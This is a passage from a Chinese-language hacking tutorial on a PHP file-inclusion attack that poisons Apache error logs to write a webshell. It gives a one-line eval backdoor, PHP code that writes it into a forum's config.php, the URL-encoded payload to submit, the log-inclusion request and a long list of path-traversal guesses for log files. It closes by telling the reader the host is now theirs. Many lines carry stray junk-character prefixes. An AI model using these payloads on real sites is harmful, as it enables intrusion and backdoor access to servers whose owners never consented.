php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
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比如还是这句一句话木马
* {0 b& u5 D! n" |<?eval($_POST[cmd]);?>   
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到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
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<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
5 O* t  s/ }5 x$ f& z/ }- gfclose($fp);?>   //在config.php里写入一句木马语句
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我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
3 L& I$ s1 ]' `转换为
$ K: O) C) O" w+ `/ U. ~%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
" k; o/ W" A; m3 y" ~, d$ iconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
; W1 _6 E( [, O) M; r0 T%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
% `$ _, C, w* |" }( M' ffclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
( T/ ^! t* Y/ O3 P! I; M- M. z%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
3 Y2 R$ z+ y9 f2 M+ {0 _我们再来包含日志，提交
0 a& Z% b% b  l* D: s5 ohttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

/ W2 p& t) l* W这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
5 C" `$ x6 l) x1 a% |! lhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
( r$ q8 F/ y4 y, t& L, o& O直接用lanker的客户端一连，主机就是你的了。
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PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
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7 K1 C7 `) J5 j5 K8 e! g- }4 }其他的日志路径，你可以去猜，也可以参照这里。
" v4 ]0 `) ?" y../../../../../../../../../../var/log/httpd/access_log
1 {& ^3 G( N0 V3 {3 \% l../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
; p0 J+ h" |2 D5 o8 w; ~) C$ \../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
7 r% W; [% K# E/ b' K../../../apache/logs/access.log
, p) b) m5 s5 F( F& v* i7 d7 d../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
* k$ R1 w3 p& P9 ~1 d' J../../../../../../../../../../etc/httpd/logs/error_log
( {1 ^7 Z& K9 Q- L../../../../../../../../../../etc/httpd/logs/error.log
1 y8 |& P. D: P../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
2 I) E( n6 }, X: B, O: R2 L: }$ V../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
$ H, f+ D1 n& W7 u) d../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
) S4 m& s5 o$ T0 {+ s, `, ?; e../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
3 d* M3 H4 ^& D: w5 t2 c: k# P; ?/ ?../../../../../../../../../../var/log/apache/error.log
2 s0 v9 [; `6 U7 }8 B' `../../../../../../../../../../var/log/access_log
5 t( h  C. m/ ]../../../../../../../../../../var/log/error_log
, F1 ]. r  a0 _4 k5 b/var/log/httpd/access_log      
& u9 n( @" m. P8 j- B, t/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
4 `( w( Q2 ^8 |; b: W../../apache/logs/error.log
1 U8 `8 c' ^9 e8 Y../../apache/logs/access.log
../../../apache/logs/error.log
$ z& m+ [! I. b. q2 w../../../apache/logs/access.log
9 m# ^, v/ I& W+ y/etc/httpd/logs/acces_log
" v3 N8 n) I  i' K9 b, R/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
0 C$ _. M  k8 J  N/etc/httpd/logs/error.log
/var/www/logs/access_log
( A* A% u8 }& r8 y; R; |/var/www/logs/access.log
! D, u$ s- o" F: H5 q' t) c/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
, r% I" A! _, A2 K4 I0 L$ {' a. r) ~/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
4 ~+ |" b8 u+ W- M0 \3 K: }# G/var/log/apache/error.log
( d8 Q2 R5 h% ]$ g: |/var/log/access_log
! E: G, ^  J+ E2 x: ~: u/var/log/error_log